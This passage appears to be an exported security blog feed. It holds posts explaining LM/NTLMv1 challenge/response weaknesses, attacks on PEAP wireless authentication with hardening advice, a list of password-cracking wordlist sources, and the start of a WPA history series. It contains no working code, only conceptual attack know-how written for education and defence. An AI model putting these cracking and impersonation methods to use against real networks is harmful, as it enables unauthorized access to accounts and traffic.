To brute-force in Cain, follow the steps detailed above and select “Brute-Force Attack” from the menu item.&lt;br /&gt;
For the sake of brevity, I will not go into how John the Ripper can brute-force hashes. This is quite a lengthy topic in itself. Further reading on this topic can be found using Google.</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/2398837823271230275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/2398837823271230275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/2398837823271230275'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html' title='Attacking LM/NTLMv1 Challenge/Response Authentication'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU5FROgnBeRdrGe34jRgnsgAXReaOcyfYKofr_11I0HylXcGdU9KAuTW2OLbejW6wEIAsILjkmeKtUiyni3-BNFty41A9eXK5TJdpYM3kmrNGwAgH-Ywbgf9H6awiwInTYDrkvfnZd4qw/s72-c?imgmax=800" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-1608579265021980760</id><published>2011-04-20T01:18:00.001-07:00</published><updated>2020-01-05T06:54:16.122-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="authentication"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="lm"/><category scheme="http://www.blogger.com/atom/ns#" term="microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="ntlm"/><title type='text'>LM/NTLMv1 Challenge/Response Authentication Explained</title><content type='html'>The Microsoft Windows platform uses a myriad of protocols to authenticate users across a network. Two such protocols widely in use today are the LANMAN challenge/response and NTLMv1 protocols. Whilst newer, more secure protocols (such as NTLMv2) are ready to take their place, LANMAN challenge/response and NTLMv1 are still widely deployed today for reasons of interoperability. As with most things Microsoft-related, ubiquity often equates to exploitability.  &lt;br /&gt;
&lt;br /&gt;
In this two part series I will discuss how the LANMAN challenge/response and NTLMv1 protocols operate, how malicious users can take advantage of their shortcomings, and best practice recommendations for securely deploying these protocols.  &lt;br /&gt;
&lt;br /&gt;
Microsoft Windows supports two primary algorithms for locally authenticating users. These algorithms generate what’s known as an “LM Hash” or an “NT Hash”.  &lt;br /&gt;
&lt;br /&gt;
Enabled by default in Windows NT, 2000, XP, and Server 2003, the LM Hash has become synonymous with bad hashing practices over the years. Used for backward compatibility, this older hashing method has several inherit flaws, making it trivial for attackers to crack LM Hashes within minutes.  &lt;br /&gt;
&lt;br /&gt;
The second, more secure, hashing algorithm generates what’s known as an NT Hash. Exclusively on by default in Windows Vista, 7, and Server 2008, this hash is generated using the MD4 hashing algorithm.  &lt;br /&gt;
Note: By default, Windows XP stores both the LM Hash and the NT Hash.  &lt;br /&gt;
&lt;br /&gt;
Whilst this reading does not require a technical understanding of how the NT Hash and the LM Hash are generated, some readers may like to broaden their understanding of how these hashes are generated. The following &lt;a href=&quot;http://www.blogger.com/www.uninformed.org/?v=3&amp;amp;a=2&amp;amp;t=pdf&quot;&gt;paper&lt;/a&gt; provides an in depth discussion on the topic.  &lt;br /&gt;
&lt;br /&gt;
Before we begin looking at the Microsoft network authentication protocols, it is important to note that LANMAN challenge/response and NTLMv1 are the same protocol except for one key difference: LANMAN challenge/response utilises the locally stored “LM Hash” whilst NTLMv1 uses the locally stored “NT Hash”. Aside from this, the protocols (for all intensive purposes) operate exactly the same way.  &lt;br /&gt;
&lt;br /&gt;
The LANMAN challenge/response and NTLMv1 protocols authenticate users in the following manner:  &lt;br /&gt;
1. Client sends an authentication request to the Server.&lt;br /&gt;
2. A protocol negotiation occurs between the Client and Server.&lt;br /&gt;
3. The Server sends the Client a (pseudo-random) 8-byte challenge.&lt;br /&gt;
4. The Client sends a 24-byte response.&lt;br /&gt;
5. The Server authenticates the Client.  &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwfuRySq1y4q25pyvfAAV95ZaD4kgr_8MAAiH5exRuTlCCzJFV4wYw6GhQ-8R3zf7UC9owJliCXBo49aFh1LgfM-IWa7ev4yrr5Se63p3tWLvUlynQt0SqDtyyGYzJ2FFcmFwDTLKIOVE/s1600-h/auth%5B21%5D.jpg&quot;&gt;&lt;img alt=&quot;auth&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqLG2R7g2BMId8Mq9MuAS1qkY84zF8j8ruCPe26V-pJt5BWk1P1iNLED1mhlWJ4z2QEGKVUG0iXyCT4bB4LXCl65Rc1q6MNhXPCtFECyY4Soa9k2virEJa_4o-g0E5ywa5NYuFodEpiS0/?imgmax=800&quot; height=&quot;117&quot; style=&quot;border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;&quot; title=&quot;auth&quot; width=&quot;312&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
The Client’s response is made up of the following steps:  &lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Split the locally stored 16-byte hash (LM Hash for LANMAN challenge/response or NT Hash for NTLMv1) into three 7-byte portions.&lt;/li&gt;
&lt;li&gt;Using the DES encryption algorithm, encrypt the Server’s challenge three separate times using each of the keys derived in Step 1.&lt;/li&gt;
&lt;li&gt;Concatenate the response of all three outputs.&lt;/li&gt;
&lt;/ol&gt;
Now, at first glance this protocol seems fairly sensible. But you may have noticed something in Step 1 of the Client’s response. If the hash (LM or NT) is 16-bytes long, how do we break it up into three 7-byte portions? i.e. 7 does not divide into 16 evenly.  &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj4W9LAVa21H1FCEz2-l_pRoUhkDJ8dQYJVJAjOVFWe_qifhawn4LAkxkdK8D3meTnmxrSkvS7xVLVM1IvaWIZoH9LK_OUTqEFlQ6ZoaD7OfQquMNWQNhLA1o1-ols06ZiP3DyKMYQluM/s1600-h/hash1%5B6%5D.jpg&quot;&gt;&lt;img alt=&quot;hash1&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKSwQxX0wFvb8BvakXJNv5TNx5NKP23hbJWWbrDqIaObDQ2EzscICFpNHSOYTZiVADtP2z4NRO20hJboKNTdQGGuBAtXjwl4Y051vX2fhK7i9Zivb6Z-EetDg3a8pUwoCb4pe8wvm4SQc/?imgmax=800&quot; height=&quot;75&quot; style=&quot;border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;&quot; title=&quot;hash1&quot; width=&quot;357&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
To combat this unevenness, the LANMAN and NTLMv1 algorithms pad the third key with 5 nulls. By doing this, we now have three evenly portioned keys.  &lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1yA44RJPZkZ8b2iX9ciTOmuWuREH7zfjUHdzFiDuyBo1GHrKpEAD4t7pLHHs5vD55iN4uCtWUVzsFAQDnu1l9FJZJNU9at8MMR-Sv25kPY9Bl4envgr8_36AEkL4Dv8RQEbDkHztW_XM/s1600-h/hash2%5B10%5D.jpg&quot;&gt;&lt;img alt=&quot;hash2&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHzMHmAhn2swdMQ4KPLSutCpOjVSBuyyHDzXF1R7tDcUw7exi97qAOSNSh-8cb2aOPXZkC3nCd9RvFfmdC1s10BssCS-ZJvshAZoY19rspU3VIGM6aeOdfwchmBfCe8B8PmFivyoiqqG4/?imgmax=800&quot; height=&quot;67&quot; style=&quot;border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;&quot; title=&quot;hash2&quot; width=&quot;346&quot; /&gt;&lt;/a&gt;  &lt;br /&gt;
So, the response process in its entirety looks something like this:  &lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Jils8nhJ6E1UTIuSbSas6o1ql18WwbHgPRlWBS-j931sksw_LY1DkRAr0QYNOqTwpgrmYPxXvgzyj2f46LG_HM9M-LiClS-LQl6pMbtFn4jKqpv5uY0icd99XQH8Hj2Eo8NRteAw2SQ/s1600-h/hash3%5B8%5D.jpg&quot;&gt;&lt;img alt=&quot;hash3&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkhEj_GawyJHOR6_39VHcz8DJmkTjCAY4haVDjxsPCQ1fAJGL4_tf7K8hR7yi23ptpV2SbPLTUqxGTIrIflbR2LJNjPfe8oD2nH7Uas4oQUHyx9xJwyKw800Xfz_jLrClYuKgob8J7U2k/?imgmax=800&quot; height=&quot;233&quot; style=&quot;border-width: 0px; display: inline;&quot; title=&quot;hash3&quot; width=&quot;441&quot; /&gt;&lt;/a&gt;  &lt;/div&gt;
Now that we have an understanding of how the LANMAN challenge/response and NTLMv1 protocols work, let’s take a look at some of the deficiencies these protocols inherit.  &lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;There is no “&lt;a href=&quot;http://en.wikipedia.org/wiki/Diffusion_%28cryptography%29&quot;&gt;diffusion&lt;/a&gt;” within the protocol. That is, there are three separate parts to the response that could individually be attacked. Diffusion would ensure each part of the DES output relied on the previous – increasing the overall complexity.&lt;/li&gt;
&lt;li&gt;DES is old and considered &lt;a href=&quot;http://en.wikipedia.org/wiki/Data_Encryption_Standard#Security_and_cryptanalysis&quot;&gt;cryptographically weak by many&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The third DES key is weak. As the third DES key is padded with 5 nulls, there are only 2^16 possible unknown values. This would take a modern computer seconds to crack.&lt;/li&gt;
&lt;li&gt;There is a lack of randomness. The only randomness occurring within the algorithm is that provided by the pseudo-random challenge generated by the server. &lt;/li&gt;
&lt;/ol&gt;
In &lt;a href=&quot;http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html&quot;&gt;Part 2&lt;/a&gt; of this series I will demonstrate how attackers can take advantage of the aforementioned deficiencies in the LANMAN challenge/response and NTLMv1 protocols.    </content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/1608579265021980760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/1608579265021980760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/1608579265021980760'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html' title='LM/NTLMv1 Challenge/Response Authentication Explained'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqLG2R7g2BMId8Mq9MuAS1qkY84zF8j8ruCPe26V-pJt5BWk1P1iNLED1mhlWJ4z2QEGKVUG0iXyCT4bB4LXCl65Rc1q6MNhXPCtFECyY4Soa9k2virEJa_4o-g0E5ywa5NYuFodEpiS0/s72-c?imgmax=800" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-8300211279346344136</id><published>2010-05-17T23:12:00.000-07:00</published><updated>2020-01-05T06:54:48.465-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="eap"/><category scheme="http://www.blogger.com/atom/ns#" term="peap"/><category scheme="http://www.blogger.com/atom/ns#" term="radius"/><category scheme="http://www.blogger.com/atom/ns#" term="wifi"/><category scheme="http://www.blogger.com/atom/ns#" term="wireless"/><category scheme="http://www.blogger.com/atom/ns#" term="wpa"/><category scheme="http://www.blogger.com/atom/ns#" term="wpa2"/><title type='text'>Attacking and Securing PEAP</title><content type='html'>Protected Extensible Authentication Protocol (PEAP) is often regarded as a secure 802.11 wireless authentication protocol. Whilst PEAP has the ability to become a secure protocol it is certainly not without its deficiencies. I thought I would take this opportunity to provide everyone with an overview of the PEAP protocol by examining what it is, how it works, where its shortcomings lie, and how to secure it.&lt;br /&gt;
&lt;br /&gt;
Before we dive into the security concerns surrounding PEAP it is important to know there are currently three versions of the PEAP standard. The version I will be referencing throughout the remainder of this post will be PEAPv0. This is the most common deployment of the PEAP standard.&lt;br /&gt;
&lt;br /&gt;
PEAP is a widely deployed Extensible Authentication Protocol (EAP) type used to securely authenticate users against 802.11 wireless networks. Developed by Microsoft, Cisco and RSA, PEAP has been made popular through its continued support by the Microsoft Windows platform. PEAP has the ability to support a range of inner-authentication methods, most notably Microsoft’s challenge-handshake authentication protocol known as MS-CHAPv2.&lt;br /&gt;
&lt;br /&gt;
Whilst several deficiencies have been discovered over the years in the MS-CHAPv2 protocol, PEAP overcomes these by protecting the MS-CHAPv2 authentication exchange through the establishment of a transport layer security (TLS) tunnel. Through the use of digital certificates PEAP is able to authenticate users over the MS-CHAPv2 protocol in a secure manner.&lt;br /&gt;
The PEAP authentication process can be summarized as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Identity information is exchanged (in plain-text) between the supplicant and authenticator.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;A secure TLS tunnel is established via a server side digital certificate.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;Identity information is exchanged again within the TLS tunnel using the MS-CHAPv2 inner-authentication method.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;The pair-wise master key (PMK) is sent from the Remote Authentication Dial-in User Service (RADIUS) server to the supplicant within the encrypted tunnel.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;The PMK is sent from to the RADIUS sever to the access point (AP).&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;Encryption commences between the supplicant and AP.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPB_Y42EVOWJQPRfWTRTc0TUGjTdMPTJ3N6fOAApRq_6jTm6NQ5KkfDvJkhVi3NXzSUtpNO7GJOF6IUdzr_vK50xsokgxDYBZT4tfyVoBG1GhE4SIyzzGAOY54lHvifChTqLxACapBsXA/s1600/Diagram1.jpeg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5472489786227094562&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPB_Y42EVOWJQPRfWTRTc0TUGjTdMPTJ3N6fOAApRq_6jTm6NQ5KkfDvJkhVi3NXzSUtpNO7GJOF6IUdzr_vK50xsokgxDYBZT4tfyVoBG1GhE4SIyzzGAOY54lHvifChTqLxACapBsXA/s320/Diagram1.jpeg&quot; style=&quot;cursor: pointer; display: block; height: 306px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;Attacking PEAP&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
There are three main attacks which can be used against the PEAP protocol:&lt;br /&gt;
&lt;br /&gt;
1.     Authentication Attack&lt;br /&gt;
&lt;br /&gt;
The PEAP authentication attack is a primitive means of gaining unauthorized access to PEAP networks. By sniffing usernames from the initial (unprotected) PEAP identity exchange an attacker can attempt to authenticate to the target network by ‘guessing’ user passwords. This attack is often ineffective as the authenticator will silently ignores bad login attempts ensuring a several second delay exists between login attempts. Whilst a lockout policy will also defend against this type of attack, failed login attempts could trigger a denial of service (DoS) attack on the network.&lt;br /&gt;
&lt;br /&gt;
2.    Key Distribution Attack&lt;br /&gt;
&lt;br /&gt;
The key distribution attack exploits a weakness in the RADIUS protocol. Whilst this attack is not specific to PEAP deployments, it is often regarded as the weakest point in an 802.11 PEAP/WPA infrastructure.&lt;br /&gt;
&lt;br /&gt;
The key distribution attack relies on an attacker capturing the PMK transmission between the RADIUS server and the AP. As the PMK is transmitted outside of the TLS tunnel, its protection is solely reliant on the RADIUS server’s HMAC-MD5 hashing algorithm. Should an attacker be able to leverage a man-in-the-middle attack between the AP and RADIUS sever, a brute-force attempt could be made to crack the RADIUS shared secret. This would ultimately provide the attacker with access to the PMK – allowing full decryption of all traffic between the AP and supplicant.&lt;br /&gt;
&lt;br /&gt;
3.    RADIUS Impersonation Attack&lt;br /&gt;
&lt;br /&gt;
The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network’s AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a ‘fake’ certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;Securing PEAP &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In order to secure PEAP deployments from RADIUS impersonation and authentication attacks the following client-side configurations should be deployed:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHogKzKWLJrH2MZToQgwr4Zezq22uTaIe050IcZDe9cfYpthhyVJlUb-SXcFIwK0Sv-FFJoaEgUW79k3yg2c7K9tOX9z-tDHo3pfymIQfHbXV83Zc8z37Fr7nwpI2vRRhvKN9neWIDENo/s1600/peap.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5472490285403850354&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHogKzKWLJrH2MZToQgwr4Zezq22uTaIe050IcZDe9cfYpthhyVJlUb-SXcFIwK0Sv-FFJoaEgUW79k3yg2c7K9tOX9z-tDHo3pfymIQfHbXV83Zc8z37Fr7nwpI2vRRhvKN9neWIDENo/s320/peap.jpg&quot; style=&quot;cursor: pointer; display: block; height: 320px; margin: 0px auto 10px; text-align: center; width: 223px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Ensure the common name (CN) of the RADIUS server’s certificate is defined. This setting will ensure clients only accept certificates that contain the specified CN.&lt;/li&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;li&gt;Select only the trusted certificate authority (CA) that will be issuing the certificates. This will prevent attackers from using a certificate with the required CN but signed by a different CA.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;By not prompting users to authorize new servers the decision to accept or reject certificates from unidentified RADIUS servers is taken away from the user. This setting will silently drop all requests whose certificate CN does not match that which is specified in Step 1.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;By supplying an “anonymous” identity during the initial PEAP identity exchange attackers will be unable to leverage unencrypted usernames. This setting prevents against PEAP authentication attacks. &lt;span style=&quot;font-style: italic;&quot;&gt;Note: This configuration setting is only available in Windows 7 and above.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
To secure PEAP against key distribution attacks it is recommended that RADIUS shared secret is least 16 characters in length, consisting of a mixed-alphanumeric character set. The RADIUS shared secret should also be rotated on a semi-regular basis.</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/8300211279346344136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2010/05/attacking-and-securing-peap.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/8300211279346344136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/8300211279346344136'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2010/05/attacking-and-securing-peap.html' title='Attacking and Securing PEAP'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPB_Y42EVOWJQPRfWTRTc0TUGjTdMPTJ3N6fOAApRq_6jTm6NQ5KkfDvJkhVi3NXzSUtpNO7GJOF6IUdzr_vK50xsokgxDYBZT4tfyVoBG1GhE4SIyzzGAOY54lHvifChTqLxACapBsXA/s72-c/Diagram1.jpeg" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-1088546295116611270</id><published>2010-05-04T17:20:00.000-07:00</published><updated>2020-01-05T06:55:19.243-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="crack"/><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="dictionary"/><category scheme="http://www.blogger.com/atom/ns#" term="password"/><category scheme="http://www.blogger.com/atom/ns#" term="wordlist"/><title type='text'>Password Wordlists and Dictionaries</title><content type='html'>Password &lt;span class=&quot;blsp-spelling-error&quot; id=&quot;SPELLING_ERROR_0&quot;&gt;wordlists&lt;/span&gt; and dictionaries are an often imperative resource for any password auditing exercise. I thought I would take this opportunity to consolidate a list of &lt;span class=&quot;blsp-spelling-error&quot; id=&quot;SPELLING_ERROR_1&quot;&gt;wordlists&lt;/span&gt;/dictionaries for ease of access. Please feel free to post any resources I have omitted in the comments below.&lt;br /&gt;
&lt;br /&gt;
I will periodically update this post with any new resources I come across.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://ftp.sunet.se/pub/security/too...all/wordlists/&quot;&gt;http://ftp.sunet.se/pub/security/too...all/wordlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.skullsecurity.org/wiki/index.php/Passwords&quot;&gt;http://www.skullsecurity.org/wiki/index.php/Passwords&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;ftp://ftp.ox.ac.uk/pub/wordlists/&quot;&gt;ftp://ftp.ox.ac.uk/pub/wordlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://gdataonline.com/downloads/GDict/&quot;&gt;http://gdataonline.com/downloads/GDict/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;ftp://ftp.openwall.com/pub/wordlists/&quot;&gt;ftp://ftp.openwall.com/pub/wordlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;ftp://ftp.openwall.com/pub/wordlists/&quot;&gt;ftp://ftp.cerias.purdue.edu/pub/dict/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.indianz.ch/tools/doc/wordlist.zip&quot;&gt;http://www.indianz.ch/tools/doc/wordlist.zip&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.outpost9.com/files/WordLists.html&quot;&gt;http://www.outpost9.com/files/WordLists.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;ftp://ftp.openwall.com/pub/wordlists/passwords/&quot;&gt;ftp://ftp.openwall.com/pub/wordlists/passwords/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.securinfos.info/wordlists_dictionnaires.php&quot;&gt;https://www.securinfos.info/wordlists_dictionnaires.php&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;ftp://ftp.ox.ac.uk/pub/wordlists/&quot;&gt;ftp://ftp.ox.ac.uk/pub/wordlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.lostpassword.com/f/wl/bigdict.zip&quot;&gt;http://www.lostpassword.com/f/wl/bigdict.zip&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.lostpassword.com/f/wl/French.zip&quot;&gt;http://www.lostpassword.com/f/wl/French.zip&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.lostpassword.com/f/wl/Spanish.zip&quot;&gt;http://www.lostpassword.com/f/wl/Spanish.zip&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.lostpassword.com/f/wl/German.zip&quot;&gt;http://www.lostpassword.com/f/wl/German.zip&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.vulnerabilityassessment.co.uk/passwords.htm&quot;&gt;http://www.vulnerabilityassessment.co.uk/passwords.htm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://packetstormsecurity.org/Crackers/wordlists/&quot;&gt;http://packetstormsecurity.org/Crackers/wordlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.ai.uga.edu/ftplib/natural-language/moby/&quot;&gt;http://www.ai.uga.edu/ftplib/natural-language/moby/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.cotse.com/&quot;&gt;http://www.cotse.com&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.cotse.com/tools/wordlists1.htm&quot;&gt;http://www.cotse.com/tools/wordlists1.htm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.cotse.com/tools/wordlists2.htm&quot;&gt;http://www.cotse.com/tools/wordlists2.htm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.openwall.com/mirrors/&quot;&gt;http://www.openwall.com/mirrors/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://gdataonline.com/downloads/GDict/&quot;&gt;http://gdataonline.com/downloads/GDict/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://blog.sebastien.raveau.name/search/label/wordlist&quot;&gt;http://blog.sebastien.raveau.name/search/label/wordlist&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.theargon.com/achilles/wordlists/&quot;&gt;http://www.theargon.com/achilles/wordlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://theargon.com/achilles/wordlists/theargonlists/&quot;&gt;http://theargon.com/achilles/wordlists/theargonlists/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.insidepro.com/eng/download.shtml&quot;&gt;http://www.insidepro.com/eng/download.shtml&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.word-list.com/&quot;&gt;http://www.word-list.com/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://wordlist.sourceforge.net/&quot;&gt;http://wordlist.sourceforge.net/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/1088546295116611270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2010/05/password-wordlists-and-dictionaries.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/1088546295116611270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/1088546295116611270'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2010/05/password-wordlists-and-dictionaries.html' title='Password Wordlists and Dictionaries'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-5534511726803167704</id><published>2010-02-27T06:02:00.001-08:00</published><updated>2020-01-05T06:58:05.142-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="802.11"/><category scheme="http://www.blogger.com/atom/ns#" term="aes"/><category scheme="http://www.blogger.com/atom/ns#" term="ccmp"/><category scheme="http://www.blogger.com/atom/ns#" term="history"/><category scheme="http://www.blogger.com/atom/ns#" term="tkip"/><category scheme="http://www.blogger.com/atom/ns#" term="wifi"/><category scheme="http://www.blogger.com/atom/ns#" term="wireless"/><category scheme="http://www.blogger.com/atom/ns#" term="wpa"/><category scheme="http://www.blogger.com/atom/ns#" term="wpa2"/><title type='text'>Is WPA Secure?  - Part 1</title><content type='html'>Recently I have noticed quite a bit of conjecture surrounding the Wi-Fi Protected Access (WPA) protocol and its use. With media hysteria now promoting WPA as&lt;a href=&quot;http://blogs.zdnet.com/gadgetreviews/?p=471&quot;&gt; no longer secure&lt;/a&gt;, wireless security has, unfortunately, become another great unknown to many people.&lt;br /&gt;
In this three-part series I would like to delve into the WPA protocol and provide a background on its history, how it works and assess whether WPA is indeed insecure. By the end of this series I will have provided a foundation which will hopefully help answer two of the most common questions surrounding the wireless-security space: “Is WPA secure?” and “Should I be using WPA?”.&lt;br /&gt;
To be comfortable in understanding the insecurities of the WPA protocol, Part 1 of this series will provide a brief background on 802.11 security.&lt;br /&gt;
Designed as a basic security measure to secure 802.11 wireless networks, Wired Equivalent Privacy (WEP) was implemented to provide simple confidentiality to wireless networks. Soon after its inception, weaknesses were being discovered in the WEP protocol. Among these weaknesses were:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;key selection weaknesses,&lt;/li&gt;
&lt;li&gt;no replay protection,&lt;/li&gt;
